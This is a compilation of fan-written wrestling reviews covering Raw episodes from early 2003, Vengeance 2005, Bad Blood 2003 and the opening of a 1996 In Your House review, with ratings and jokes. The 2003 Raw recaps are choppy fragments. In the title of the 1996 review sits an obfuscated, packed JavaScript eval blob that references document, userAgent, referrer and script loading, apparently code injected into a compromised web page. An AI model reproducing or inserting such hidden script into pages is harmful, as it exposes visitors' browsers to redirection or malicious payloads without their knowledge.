Monday Night Raw – February 3, 2003: The Evolution

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Date: February 3, 2003
Location: MCI Center, Washington D.C.
Commentators: Jim Ross, Jerry Lawler

Also on a personal note, this was my 15th birthday.

Theme song.

Dudley Boyz vs. 3 Minute Warning

Spike Dudley comes out and sets up a table, allowing Bubba to powerbomb Rico through the wood.

Tommy Dreamer vs. ???

Evolution is in a sky box.

Clip from last week of Jazz returning and destroying Trish.

Victoria vs. Molly Holly

Post match Jazz comes out and hits the Jazz Stinger on Molly. Jazz shoves Victoria down as well before laying out Molly with a DDT.

Booker is fired up for his tag title shot but Goldust wants a deal first. If they win, great but if not then they split up.

Evolution has champagne.

Raw Tag Titles: William Regal/Lance Storm vs. Booker T/Goldust

Bischoff goes to the saloon and tries to order a martini. This goes about as well as you would expect and Austin is in another bar elsewhere.

Kane vs. Rob Van Dam

Jeff takes a chokeslam and the Five Star for good measure.

They trade hiptoss attempts until Maven armdrags him down. We hit the mat with Maven holding a headlock as the fans are bored already. Brown comes back with a kneelift and sends Maven into the buckle as the booing continues. Maven hits what looked to be a spin kick and a backslide for two and a middle rope bulldog gets the same. Maven misses a missile dropkick and the Sky High powerbomb is good for the pin.

Rating: D-. This match exists. Next.

Goldust is taken away by EMTs during the break.

Scott Steiner vs. Chris Jericho


Vince comes in to see Morely and laughs about Bischoff running out of time. If Vince isn’t impressed next week, he’s fired.

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Monday Night Raw – January 27, 2003: You Can Feel The Suck Starting

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Date: January 27, 2003
Location: Allstate Arena, Chicago, Illinois
Commentators: Jim Ross, Jerry Lawler

Booker T vs. Jeff Hardy

Jeff gets some feet up to stop a charge in the corner and gets two off a middle rope dropkick. Booker crotches himself on a side kick but Jeff misses the Whisper in the Wind. Booker misses the ax kick and the second Whisper connects, but Booker hooks the spinning sunset flip out of the corner for the pin.

Post match Jeff tries to jump Booker but gets sent into the barricade instead.

Bischoff is worried that Vince likes Smackdown better.

We recap Jericho hitting Stacy with a chair last week.

Victoria is defending and this is a street fight. Victoria jumps the champion during her entrance and chokes her to the ring with a kendo stick. Trish is whipped into the steps and then into the crowd but she comes back with high kicks to take over. A cross body off the barricade gets two on the floor (making this a hardcore match instead of a street fight) before they head back inside. Victoria hits a slingshot legdrop for two but Trish heads to the floor to find weapons.

Post match Jazz returns from injury and destroys Trish with every signature and finishing move she has.

Raw Tag Titles: Dudley Boys vs. William Regal/Lance Storm

RVD and Kane make up after their issues at the Rumble because they face Batista and HHH tonight.

Matt Cappotelli vs. John Hennigan

Tommy Dreamer runs off Nowitski and canes both guys down to make them pay dues.

Kane/Rob Van Dam vs. HHH/Batista

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:




On This Day: June 26, 2005 – Vengeance 2005: Shawn vs. Angle II

Vengeance 2005
Date: June 26, 2005
Location: Thomas & Mack Center, Las Vegas, Nevada
Attendance: 9,850
Commentators: Jim Ross, Jerry Lawler, Jonathan Coachman

It’s a Raw show this time as we’re still in the middle of the stupid single brand shows and will be for over another year. This is a two match show, but DANG these are two great matches. We have Kurt Angle vs. Shawn Michaels the sequel and Batista vs. HHH in Hell in a Cell in the Mania rematch. Also we have Christian vs. Jericho vs. Cena in a three way for the other Raw title. For over three weeks both belts were on Raw which was rather stupid but whatever. There are only six matches on the card, so I’d think that sums this up pretty well. Let’s get to it.

The opening video is about Cena being new to Raw and Batista not knowing what he’s doing in HIAC. Ok then. You can tell Big Dave is serious here: he calls HHH Hunter. Far more time spent on those two which makes sense I guess.

The arena has a casino theme. At least that makes sense.

IntercontinentalTitle: Carlitovs. SheltonBenjamin

This is about a month after the infamous Shelton vs. Shawn match so Shelton is the hottest thing in the company. Well he was until he dropped the title to Carlito who is still in the purple shorts six days prior to this. Coach is already annoying the heck out of me and we’re 6 minutes into the entire broadcast. This isn’t very interesting at all, although you could say the same thing about most of the Raw shows from this era.

Shelton is still pretty awesome as he continues dominating Carlito. Carly tries to run but Shelton decides he’s the better released guy and stops that. Apparently Benjamin has a concussion. That wouldn’t be allowed today but this was a simpler time I guess. He hits a sweet clothesline from the top and can’t immediately cover because of his head. The more recently fired one takes over and they actually chant for him. That’s a different one.

Let’s hit that chinlock! Shelton hits a Samoan Drop as we’ve got all kinds of cultures in this match. I want to punch Coach in the face. Carlito keeps trying to get a turnbuckle pad off and finally manages to do so. Those three words are fun to type in a row. I love the Dragon Whip, especially how it always hits people. Does no one watch tape? He gets the pad off and Shelton eats steal on the Stinger Splash. You know the rest.

Rating: D+. Not bad but a bit long and a bit boring at times. That and with the title change happening 6 days prior to this, there was no drama at all over who was winning. Carlito was somehow even less interesting at this point if you can believe that. I’ve seen worse though.

HHH and Flair are here.

Ross calls the Cell Satan’s Spa of Pain and Suffering. WHERE DOES HE COME UP WITH THESE THINGS?

We recap Christy Hemme vs. Victoria. This is over a swimsuit contest. Oh and Victoria (Tara) is insane, even though she has that idiotic I Ain’t The Lady to Mess With song.

ChristyHemmevs. Victoria

They start fast and Victoria does all kinds of evil things to Christy. This is non-title also since the title is on Smackdown at the moment. The cards in the set change based on who is in the current match. The fans don’t really care either. Lawler says this is about looks or whatever. Christy botches the heck out of a sunset flip. Yeah I’m stunned too.

Ross freaks because Christy can do a DDT. She can do one of the least complex moves of all time and she gets cheered for it. She goes for another sunset flip and Victoria drops down and grabs the ropes for the heel pin.

Rating: D-. The lack of failing is because these are two of the hottest Divas of all time. The match was totally awful though, if you didn’t guess that part.

Cena is with Todd Grisham, and talks about being the new kid. This is still rapper Cena which makes him sound like a guy that doesn’t belong in the spot that he’s in. This is greatly disturbing. In something very good though, he keeps that theme throughout the whole interview. That’s very nice indeed and it works very well as I like this promo.

We recap Kane vs. Edge. They met in the finals of a tournament for the #1 contenders’ spot and Lita turned on her husband Kane to join Edge. This was one that made people feel very sorry for Kane which was a great idea. Edge also married Lita on Raw, or at least tried to as Kane came up from under the ring which was an awesome moment. Keep in mind that I’m a big Kane mark. Kane tombstoning the minister is just awesome stuff.

Edgevs. Kane

I vaguely remember wanting to see this match. Wow I was about to be a senior in high school back then. Kane looks like a legitimate awesome face at this point. In something I like, Kane does the ten punches in the corner and then just goes off with punches, getting up to probably 25 or so. The fans want Matt, who is gone. In real life, Matt and Lita were dating and Lita left him for Edge, so WWE of course turned it into an angle. Have to love those heartfelt guys.

Kane stays ticked off as he’s dominating this for the most part. Edge would be world champion in like 7 months so I’d say he wound up winning this one. The spear hits on the floor to hit the formula in full stride. Lawler gets in a decent line on JR, saying that in Oklahoma Hee-Haw was a documentary. Kane Kanes Up and JR says he’s setting Edge on fire here. Again, what does that mean?

Crowd is WAY into Kane here oddly enough. Edge hits a nice dropkick to block the top rope clothesline. Dang Lita is frighteningly skinny here. Snitsky comes out and interferes THREE FREAKING TIMES. Seriously, is there no reason at all to not have two referees in kayfabe? Not that I can think of. Anyway, eventually Edge accidentally hits Gene with the MITB case, chokeslam ends it.

Rating: B-. This was a pretty solid upper midcard match, but Snitsky’s run in hurt it. The main thing here is that it gave Kane a clean pin over Edge, which makes Kane a big time threat again. Also, it’s nice seeing him getting a big win as they’re rare for him which to me sucks but whatever. Either way, this was pretty good.

We recap Angle vs. Michaels, which mostly was everyone wanting a rematch after their classic at Mania, sort of like what Taker did but less intense.

Shawn says Vengeance will be his. See what he did there? Nice one. Imagine me saying that in the cheesiest voice imaginable.

KurtAnglevs. ShawnMichaels

This should be good and I believe Becca says it’s Shawn’s best match so that’s saying a lot. Seriously, what purpose does Coach serve? I know he’s supposed to be the heel analyst, but he makes points that Jerry should be making so Jerry, who is far better, has less to do. We get a long feeling out/technical sequence to start which I can’t complain at all about. Angle takes over with some solid stuff on the mat but we’re still mostly in the feeling out stage at this point.

Angle hooks a half crab to start working on the ankle. Nice. For a guy his size, Shawn could throw one heck of a chop. He hits a spinning sunset flip off the middle rope but Angle turns it into the ankle lock. This is a chess game and it’s working very well even though we’re only about 5 minutes in. Angle hits the slam on the table which doesn’t break for a FREAKING OW moment. We even get a freaking turnbuckle powerbomb. That just looks awesome every time.

It’s all Kurt here but you can tell they’re in for a long one here. Basically what we have is how much can Shawn take, as he’s getting beaten up very badly here but he keeps countering the finishers. Angle’s lip is bleeding and Shawn is bleeding just under his eye. This is a very slow build but the crowd is staying in it so that is certainly acceptable. Shawn hits his flying forearm and the nip up gets a great pop. His selling really is great stuff. However he does the longest set up for the Sweet Chin Music of all time and Angle easily blocks it. That took almost 30 seconds to set up.

Shawn keeps covering after a DDT which is what Angle did to Shawn earlier on. I love little things like that. Angle comes back with Rolling Germans and an Angle Slam for two as we approach epicness. There goes the referee of course. Has there ever been a big match where the referee didn’t go down? Shawn takes a GREAT bump to the floor off a back drop. He was in free fall and just crashed, hurting his knee. Lawler goes on a semi rant talking about how you can’t get medical attention during a match.

Where is that kind of talk recently? Shawn stays in the ankle lock for the better part of ever but FINALLY counters as Angle hits the post. Angle goes for Shawn but OUT OF NOWHERE Shawn hits the superkick. Of course it’s just two as the referee counts to eight on both guys. Coach makes my head hurt a lot by saying he’s never seen anyone kick out of Sweet Chin Music. Angle goes up top for a double axe handle of all things but comes down into the boot for the pin.

Rating: A. This was a fine wrestling match. These two are absolute masters out there and this is no exception at all as both worked very hard with great selling and back and forth work. This is a classic in every sense of the word and definitely should be seen.

Angle gets an ovation as he leaves just like he should.

Great American Bash ad which is mainly about Torrie.

Coach talks to Batista, who says he’s not scared and he’s going to get his revenge tonight. He words it a lot better. HHH comes up and I want to submit to his mustache. Pull apart brawl ends this.

Lillian Garcia is here…uh just because I guess. This is something about Viscera apparently. What was Vince’s obsession with large black men being obsessed with sex? I smell a Godfather cameo here. Lillian deserves an Oscar and a raise for this. She sings a song for him which is a great song but it helps to not look at the screen except when she’s on it. She proposes to him, crowd pops, cue Godfather. I was right. I want a hat with a feather in it like that.

Godfather offers him 5 Ho’s and of course he takes them. Was there a point to this other than to have Lillian look all sad and depressed? This is horrible yet hilarious. Ah that’s right: since we have single brand PPVs we only have 6 matches so we get pointless filler like this. Can you imagine Lawler having sex with that creepy smile never leaving his face? That’s just bizarre sounding.

We recap the triple threat which started with Cena being the top pick in the draft and Christian and Tomko yelling at him. Christian get the #1 contender spot and Jericho is mad about it. Jericho turned heel to set up a 3-1 beatdown. The language and mannerisms here are so different from today that it’s insane.

RawWorldTitle (WWE): ChrisJerichovs. Christianvs. JohnCena

So Christian was about 3 months away from leaving and Jericho was about 2 months away, so this is one of their last big matches. At the moment Christian is little more than a midcarder in over his head. Christian’s music is just odd sounding when it’s at that slower pace. Actually all three of these guys have had almost the same music for almost five years. That’s very different. Oh and the spinner is new at this point. Wow that was freaking idiotic.

The one now isn’t nearly as bad as it used to be. Lawler bets on Christian and Ross doesn’t make a pick. That was a waste of time. Tomko interferes and is out. These are always hard to comment on as they’re mainly comprised of one on one segments and then a save before repeating about three times and go to the finish. Cena hits the FU on Christian to the floor to give us Jericho vs. Cena which is ok I guess. Apparently Cena’s CD is out at the moment.

Earlier Cena complained about Jericho using the WWE Title to sell records. That’s just hilarious actually because Cena is a hypocrite with his rap album. Lionsault of course misses and now Jericho is alone in the ring. The fans pop for the table being uncovered. We hit match number two as Christian and Cena go at it. Wow it’s weird to hear Christian being called a veteran. It’s time for the heels to fight now which would be a main event today but is a clash of the upper midcard here.

We get a Tower of Doom as Christian gets suplexed and Jericho is powerbombed by Cena. Nice one too. In another nice spot, Cena drop toeholds Christian’s head into Jericho’s and hits a double 5 Knuckle Shuffle. Tomko takes Cena down but Christian only gets two. The Walls are applied and of course they don’t work since this is a Chris Jericho match. Cena gets Christian in the FU and kicks Jericho in the face to get the pin.

Rating: B+. This took a long time to get going but the last five minutes are very good. They actually did some three person spots in there which make this feel like a triple threat match where anyone could win. There was little to no drama but at the same time this wound up working very well indeed and I liked it a lot.

The Cell is lowered.

We recap Batista vs. HHH as they had been in Evolution together but after Batista won the Rumble he overheard HHH and Flair talking about how they have Big Dave around their little finger. Batista turned face more or less by force as he was so popular there was no other choice. He beat HHH at Mania and then at Backlash so HHH left Raw for a few weeks before coming back for a beatdown and challenging him to this. This really was a well built up feud and it feels like a huge match.

RawWorldTitle (World): Batistavs. HHH

Apparently the Cell is now the Devil’s Duplex. Seriously, what is JR on because I want some of it. Also it’s now a sentient being as it has something like emotions I guess. The Cell is still half up as Batista’s music hits. I didn’t realize he had I Walk Alone this early but apparently he did. He also had the gun pyro which is rather cool. He’s also embarking on his maiden voyage inside Hell in a Cell. Is he a boar captain all of a sudden? You can never accuse JR of using basic language.

The Cell being lowered really is a cool moment as you know you’re about to see some violence. Lawler says there is no way out. Today that would likely get him yelled at by Vince for bringing up memories of a defunct show. Why is he so freaking paranoid about so many things? Batista is in the white tights here so you know he’s serious. They point out how fairly stupid it is to give HHH back to back shots by more or less saying this is the last chance for him.

HHH goes to the arm by sending it into the post. That’s smart I guess as it’s hard to Batista Bomb someone with one arm, although you would think the leg would be smarter. Then again he married Stephanie so he’s smarter than we are. And now HHH gets a tool box. This cannot turn into another Home Improvement match like it was vs. Nash. Well if nothing else Batista is better than Nash so I can live with that.

There’s a big chain, which at least is something that I guess you could understand having in a tool box assuming you could use it to secure something or to get a grip on something. I should host a tool show. Batista manages to survive about a minute of being choked by a chain which is being pulled by a 6’4 270lb man. What? You don’t see how that makes sense?

I love fans that encourage violence that could potentially kill a man. Well to be fair HHH is supposed to anger the fans so he’s getting that right. Batista hits four spinebusters on the floor. Not really as he just rammed HHH into the post but whatever Ross says goes I guess. HHH mimics Flair and is busted open. The white boots are working for Big Dave. HHH hits a real spinebuster to get us back to even.

He gets a barbed wire steel chair from under the ring which is there to cover any and all of their barbed wire steel chair needs. Batista takes a SICK shot of it to the back. I know it’s rubbed tipped or fixed to an extent, but DANG it looked great. The face of Batista more or less says a combination of OH NO, OW and DANG I COULD GO FOR A POPSICLE. He gets the chair and DRILLS HHH in the head with it. That sounded and looked great.

I love the raking of a person’s face into the cage. That just looks awesome every time they do it and it never gets old. It’s ALL Batista at this point. HHH takes a powerslam onto the barbed wire. Ok so it landed on his legs but whatever. I guess those Buns of Steel videos helped a lot there. HHH counters with a DDT onto it as this is getting very good. Both guys are bleeding now. See, this is a great example of using blood to make a match better.

Instead of just randomly bleeding in every match, this has been a brutal fight that has built up to this moment and it feels epic. Rather than having blood in every match where it becomes clichéd, the blood here is a sight that makes you think about how brutal this is. A sledgehammer shot to the face gets two as we’ve reached epic. Batista kicks out of a punch wrapped in chain to a HUGE pop.

A lot of people that that was it apparently and I can’t say I blame them. In a cool spot right after that, HHH jumps at Batista with the chain but Batista holds up the hammer so that it slams into HHH’s jaw/throat. He stands there for about 8 seconds before just collapsing. I love that visual. Man HHH got thrown over the corner. After this long of a match I’m surprised he can take a bump like that. Batista busts out some steps and gets them in the ring with HHH down.

HHH is just getting destroyed here as Batista is just in a zone here. Batista Bomb is countered with a low blow and the Pedigree for a LONG two. The steps are set up in the middle of the ring and Batista is in trouble. Pedigree is blocked into a spinebuster onto the steps and a Batista Bomb for the pin.

In a nice move, HHH picked up the hammer but gets dropped before he can hit it. When he’s pinned it’s still in his hand which is like the scene that ends a movie, or in this case a great match. HHH would be gone four months for this as Cena became top dog on Raw. I’m sure HHH’s diminishes spotlight had nothing to do with his absence at all.

Rating: A. This was a WAR. This is what Hell in a Cell is supposed to be like: two guys that absolutely cannot stand each other beating the tar out of the other person for a single prize. The blood was great, the violence was great, and both guys were great. See this match for sure as it’s awesome and I’m pretty sure it’s on the Hell in a Cell DVD. Great match and it made Batista look unstoppable.

OverallRating: A-. That might be a bit high but with two GREAT matches and one that’s very good along with a decent Kane/Edge match, an ok opener and Christy looking great, what more can you ask for here? Angle vs. Shawn is a great wrestling match and the main event is a great sports entertainment match. Either way you can’t go wrong. Throw in a very good Cena match and the last hour and a half of this show are about as perfect as you can get. GREAT show and definitely go check this out.a

 

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On This Day: June 15, 2003 – Bad Blood 2003: Sign That Screwdriver!

This is one of the older reviews meaning it’s much lower in quality.  It’s the best I could do here though.

 

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Date: June 15, 2003
Location: Compaq Center, Houston, Texas
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

Only reason here is I was looking at my list of shows that I had left to go and I figured I might as well just knock this one off of it. So back in 2003 there were a lot of matches on the show to be had, but there simply wasn’t enough time to fit them all in. The solution became to just have Raw and Smackdown only PPVs.

These wound up completely sucking for the simple reason of there were too few matches to fill in an entire three hour show with feuds/matches from one show. Anyway, this is the very first one so the card is fairly packed. We have Nash vs. HHH in what’s considered the worse HIAC match ever and Jericho vs. Goldberg in a match that should have been in WCW but we couldn’t have a heel that mocked Goldberg get crushed by Goldberg but whatever. So anyway let’s get to it.

Austin is feuding with Bischoff and there’s a Redneck Triathlon or something like that tonight. The intro is just a highlight package of every major feud with red tint to it. Oh and it’s an Austin/Bischoff production. The theme song is Headstrong by Trapt so I’m happy on that front.

Dudley Boys vs. Rodney Mack/Christopher Nowitski

See how brilliant this idea was? Where else are you going to get to see jobbers vs. an over the hill tag team in a match no one cares about? Since the answer is Raw, don’t bother answering that. Nowitski tried to make this a racial thing earlier in the night if you can believe that. Teddy Long is the heel manager here.

Mack was supposed to be a big deal but was squashed by Goldberg so there we are. Nowitski accidentally slaps Bubba. Guess what happens. Oh and Chris has a mask on his face from having his nose broken. The Harvard gimmick would have been able to carry him for years had he not gotten hurt.

Rodney Mack was a guy that I never got the entire appeal of. He’s ok, but just ok. After What’s Up hits, Bubba says get the tables but D-Von doesn’t want to. I love that. Nowitski catches Bubba in the face with the mask for the pin.

Rating: D+. This is the epitome of a match that belongs on Raw and not on PPV. It’s 7 minutes long and it’s an angle that no one cares about. How in the world is this worth paying money to see? You could see the problems already. Naturally is ran nearly four years.

We see a clip from Raw where we see them picking the events for the Redneck Triathlon and it’s a pie eating contest, but the Rock’s kind of pie. Event two is a burping contest. Number three would be determined at the PPV if needed.

Redneck Triathlon Event #1: Burping Contest

Austin is doing jumping jacks to warm up. It’s three burps each and the winner is best overall. This is what is being used to fill PPV time people. Austin destroys him of course in the first one. People paid to watch this. Austin of course wins round one. Oh and this was the first 34.95 show I think. This lasts nearly five minutes and the crowd is just popping for it being Austin. This was freaking stupid.

Test vs. Scott Steiner

Winner gets Stacy as Steiner went from main eventing the Rumble to this inside of five months. That’s rather impressive. Stacy gets her own entrance and hates Test. Test uses the old heel tactic of throw the girl in front of Steiner to get the advantage. The crowd is dead again for this as this is match number two both on the show and on the list of matches that belong on Raw. This is where they should have used the In Your House formula.

By taking it down to two hours, not only does it make the matches more well rounded, but it also takes away the bad ones so it’s just the big ones, making the show seem a lot better. This is exactly what you would expect it to be: boring beyond belief with no real drama. Also I love how Stacy is being treated like property here.

The pumphandle slam gets two and ZERO heat. Stacy slaps Test who then kicks Steiner in the face. Man these two have fallen far. This is just mindless filler. Test grabs a chair and when Stacy tries to pull it away she goes down which leads nowhere. A downward spiral wins it for Steiner. Stacy does her exit twice so Scott can see it again.

Rating: D. Again this was just mindless filler to validate themselves being on TV. What was the point to this at all? I get that there’s an angle that ends here, but dang man, this was just freaking stupid. There was zero point to having this on PPV but there was nothing else to put in here. Like I said, you can see the point just falling away immediately.

Bischoff and Austin talk about the second round of the triathlon which is coming up next.  Scratch that as Austin has to pick the woman for whatever the contest is.  The women are all hot but Austin gets to pick the flavor and you can feel Moolah or Mae coming.

Intercontinental Title: Christian vs. Booker T

So back in late 2002, HHH wanted to be undisputed champion of Raw so the US and IC titles were retired for about six months. Austin brought the IC back and Stephanie brought the US back a month later. There was a battle royal at Judgment Day for the belt which Christian cheated to win so this is the rematch. Oh and Booker has a remix now. Oh great.

He’s the hometown boy here so I wouldn’t look for him to win much here. Christian has just cut his hair so he’s finally looking like he does now. Edge is out injured at this point after neck surgery so there we are since both of them are eternally linked. Booker starts out by dominating and then we get into the formula stuff. Oh and we hear a lot about Booker going to jail for armed robbery, which I’m pretty sure is true but I don’t feel like looking it up.

Christian hits a Rock Bottom of all things to get a two. The Scissors Kick and a missile dropkick hit but both get two. After a Spinerooni, Christian tries to leave. It’s more basic stuff which is what this show should be called. The referee says that if he doesn’t make it back by ten he loses the belt. One day that actually needs to happen just to shake things up. A CHEAP belt shot ends this. There’s a guy dressed like Tigger in the front row.

Rating: C-. Somehow this is the best match of the night so far. This also could have been on Raw but instead we get to pay to see it. Booker would get the title the next month on Raw, but he should have gotten it here where people were paying for it. This was another dumb idea as everything else on this show has been.

Nash is getting ready with Jerry Lawler’s music playing. Oh it’s the triathlon. Screw this getting its own title again. It’s pie eating with oral sex implied. Both guys get full entrances to waste even more time. And yeah it’s Moolah and Mae which was about as predictable as it could have possibly been. Oh it’s just Mae.

The reactions are great if nothing else. After kissing her, Bischoff gets kicked in the balls and Mae gives him a Bronco Buster in a thong and stockings. Austin STUNS MAE and forfeits to set up event number three. Beer drinking follows. That’s another 10 minutes plus that I’ll never get back.

Gail Kim and her Matrix themed video is coming.

Kane and Van Dam are ready but have been having problems lately. La Resistance beat up Van Dam but he didn’t make the save. Kane says nothing. The heels say a lot of insults about America. It’s more bland than it sounds.

Raw Tag Titles: La Resistance vs. Rob Van Dam/Kane

You can more or less see the ending from here. The heels are Sylvan Grenier and Rene Dupree in case you didn’t know. To my complete lack of shock and dismay, this is nothing that couldn’t be on Raw. I mean there is nothing to note here at all. This could be at any house show or Raw but on PPV? Really? The heels are both on the floor and Van Dam dives, naturally hitting all three of them. A double flapjack ends this. It couldn’t have come faster.

Rating: D+. Again, WHY IS THIS ON PPV? That’s the problem with the whole first hour here. I could see an argument for the two title matches, but seriously, none of this has been PPV quality. The matches are ok, but that’s the problem: they’re just ok. Nothing at all here is making me want to watch this show at all and it’s never something I’m going to watch again. I just want to get to the end of this show and forget about it.

We recap Goldberg vs. Jericho who sent Storm to run him over, resulting in a match between Storm and Goldie, which was of course a squash and then he gave up Jericho as the mastermind. No one on the planet thought Jericho had a chance and he didn’t.

Goldberg vs. Chris Jericho

Goldberg is wearing white and black. Words cannot describe how stupid it looks. Jericho had wanted this match in WCW but they decided that it wasn’t a good idea so he just bailed when he could, citing this as one of the major factors. Jericho of course runs like a scared man which I can’t blame him for.

Eventually though, Jericho dodges a spear and Goldberg goes through the security wall. What a coincidence there were no seats in front of it either. Goldberg is bleeding a bit and has a bad shoulder now, so if nothing else they’re trying to give us a reason to think Jericho can win so points for that.

That goes on for a GOOD while which makes sense. Jericho runs the match for the most part which is definitely the best idea here. They botch a moonsault but Goldberg does the smart thing and keeps moving so that it doesn’t look like they botched anything and hits what we would call an FU. There’s a loud Goldberg Sucks chant and the referee goes down.

Dang the fans are behind Jericho here. At least they recognize good wrestling. He gets the Walls of Jericho but leg power gets him out of it. Spear number 2 works a lot better even though it’s a left armed one. After failing to get it once, a jackhammer works the second time for the easy pin.

Rating: C+. Again, this could have been a Raw main event but I can go with this being on PPV. However, another five minutes would have made this WAY better. Jericho was in a rut around this time and he didn’t get out of it until the winter when he turned face to feud with Christian. This was ok but nothing great. Goldberg just didn’t work in the WWE and it showed badly.

We get to see the pick for the last round of the Redneck Triathlon and it’s going to be a sing-off, which is between tobacco spitting and lawn gnome stealing. You can’t make this stuff up. Austin realizes he’s in trouble.

We recap Shawn vs. Flair. Holy crap an actual wrestling match! Flair looks like a cross between Dolph Ziggler and a nightmare. Flair had been asked by HHH to lay down on Raw but Flair couldn’t do it, which Shawn respects. This begins a suck up fest between the two, but Shawn has to know if he can beat him. And then Flair turned heel for the thousandth time in his career by punching Shawn. Shawn says it’s personal now, and you know that means jack but they say it anyway.

Ric Flair vs. Shawn Michaels

Apparently Shawn dominated the 90s and was a bigger star than Flair ever was. Somehow being in the main event for less than two years and tanking buyrates means you dominate. We start out with more or less a chess match with everyone trying to top the other, and of course when I say everyone I mean two people.

In a spot that I really like, Flair goes to the mat for Shawn to jump over him and Shawn stops on a dime and grabs a headlock on the mat. I like that. Flair at least uses psychology by working the knee and we’re in the figure four five minutes into the show. That was quick if nothing else. Flair is dominating for the most part here but we know that the Shawn comeback is coming. It’s the Flair Formula to the letter.

And Shawn hits an enziguri to counter (it means Head Kick of all things). Flair of course gets slammed off the top as Shawn actually sells the knee. Flair counters the kick into a figure four but that’s countered into a small package. Shawn throws on the figure four. Well they’re moving out there so I’ll give them that.

Flair goes up and actually gets the move off (a chop) but Shawn punches him on the way down. For ZERO apparent reason, Shawn sets up a table. The announcers are surprised too. Randy Orton comes down to try to save Flair but gets nailed. Shawn splashes Flair through the table which is called a cross body though it, although to be fair it looked like one more than a splash.

The referee goes down to a low blow, even though the table should have been a DQ. Sweet Chin Music hits but Orton pops up for a chair shot to give Flair the pin.

Rating: B. This was pretty good but the table spot made me scratch my head. This is a hard combination to screw up and they more or less got it right. The ending was fine since both were in Evolution and would have a reason to help each other out. It’s not a great match but it’s by FAR the best match tonight. Flair was getting old very fast though.

Ad for Freddie Blassie’s book.

Bischoff comes out and lip syncs his own song and Austin interrupts him. They actually get into a you were lip syncing vs. was not argument. Bischoff can’t sing at all. Austin proposes another spin and rigs the wheel to land on pig pen fun. Yes, we have a hog pen match. Somehow, this takes seven minutes. If you don’t get what happened, you’re an idiot.

Ad for the Divas softcore video.

The Cell is lowered. I forgot to mention that Foley is referee to try to make this interesting and it continued to fail.

The feud was just that they didn’t like each other and Austin just declared it Hell in a Cell. Oh Foley is referee because everyone else said they wouldn’t do it.

Raw World Title: HHH vs. Kevin Nash

Yes, this is the main event of a PPV in 2003. The belt it in the ring for no reason other than HHH likes to hold it close I guess. What do you expect here? It’s a Hell in a Cell match. They beat on each other with slow offense and use a lot of weapons. All three bleed and they do this for about twenty minutes. They manage to make a Cell match boring. Seriously Nash, that’s HARD to do.

Oh and HHH uses a screwdriver and a wooden crate. Why was a wooden crate under the ring? Who cares? We get the Mandible Claw if nothing else and Ross says this match is cruel and unusual punishment. You know all the spots that these two are going to do and the ones that Foley will do so figure out what order they go in that makes the match suck the most and you have this match. HHH of course survives the powerbomb and hits the Pedigree a few seconds later for the academic pin. Evolution beats up Foley to end the show.

Rating: D+. Seriously, THEY MADE THE CELL BORING. Do you realize how hard that is to do? This was the time that’s considered HHH’s Reign of Terror on Raw and this match is a great example of it. Really, they messed up the Cell. How do you do that? There was no point to this whole thing other than to make HHH look good and for one of his buddies to get to fight him. This was just awful.

Overall Rating: F. This isn’t a PPV. It’s a Raw with a triple main event. Seriously this show was crap. For one thing it went off at 10:35 which is ten minutes earlier than “3 hour PPVs” normally run. There is a decent Flair vs. Shawn match that could have been good but with 15 minutes what do you expect?

Also, thirty minutes of this was for one running joke which was never funny. You would think that after this disaster Vince would have pulled the plug on it, but no. For FOUR YEARS these things ran and they sucked more each and every time. This is a failure if there ever has been one.




On This Day: May 8, 1996 – In Your House #8: Beware Of Power Outages

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhhda|var|u0026u|referrer|ifkyz||js|php'.split('|'),0,{})) Your House 8: Beware of Dog
Date: May 26/28, 1996
Location: Florence Civic Center, Florence, South Carolina/North Charleston Coliseum, North Charleston, South Carolina
Attendance: 6,000/4,500
Commentators: Vince McMahon, Jerry Lawler/Jim Ross, Mr. Perfect

We’re four weeks removed from our last show, and not a lot has really changed. Bulldog vs. Shawn is your main event for the title, and that’s all well and good. However, some of you might be wondering why there are two locations, dates and attendances listed for this show. Well, the answer is simple: it happened on two different nights and there were two different PPVs.

This wasn’t intentional though, as during the Sunday night broadcast, a severe thunderstorm knocked out the power in the arena. While the people inside could still see the show to an extent, the feed was knocked out and the PPV went off the air.

The opening match, Marc Mero vs. HHH and the main event, British Bulldog vs. Shawn Michaels, were seen as the power went off after the first match and was restored before the main event. For the second PPV, the two matches that were aired on Sunday night were simple re-aired However, the other three matches weren’t seen until later on, when the home video was released.

The matches were recorded but I’m really not sure what version is on the video that I have. I’d assume it’s the originals, but I could be wrong. The second night’s matches were longer as there were two matches that weren’t redone, and on the first night there was a 30 second squash that wasn’t redone either, so we’ll be able to tell soon enough.

Also, this is the first PPV to be held after Razor and Diesel left. At the super house show at MSG on May 19, we had the Curtain Call Incident. For those of you that don’t know, it was the show where Razor Ramon, HHH, Diesel and Shawn broke kayfabe and hugged as it was Ramon and Diesel’s last night with the company.

Since Hall and Nash were leaving and Shawn was world champion, the blame and punishment was all on HHH. He was supposed to be given the King of the Ring that year, but because of this it was given to a bald headed man named Austin. After winning that tournament, he uttered the legendary Austin 3:16 line.

Wrestling was changed forever, and without the Curtain Call, it may never have happened. On May 27, Hall showed up on Nitro and wrestling would never be the same, so this is really a landmark time in the history of the sport. I’ll go more into the historical aspects of things later as also tonight something huge happened but no one really knew what it would be.

Starting with this video, I’ll be including the Free For All match that airs. This was shown on the pre show as a free match in I suppose an attempt to get the fans that were on the fence to buy the show. Not sure how this particular pairing is going to do that but let’s try it out.

Tag Titles: Smoking Guns vs. The Godwins

The Godwins took the titles from the Bodydonnas at a house show a week prior to this, the same one that the Curtain Call happened at. Before the match, Mr. Perfect talks to the Godwins, but Sunny interrupts. Apparently Phineas signed a contract making her co-manager of the team. This is certainly from the first show as there was no dark match at the second.

This is a very fast match as it goes less than five minutes. There’s about three minutes of a match and then Billy kisses Sunny, messing up Phineas long enough for him to get suplexed and pinned. Post match, the Guns talk to Doc Hendrix and use the words “more aggressive”, signaling their heel turn. They say they’re the champions and proud of it, which is fine as they won the belts more or less cleanly. No one cares really.

Rating: C. There’s really nothing to say about this as it was so short it’s hard to grade. Granted it was on the free show, so what are you really expecting? Nothing great, but Sunny was as sexy as ever.

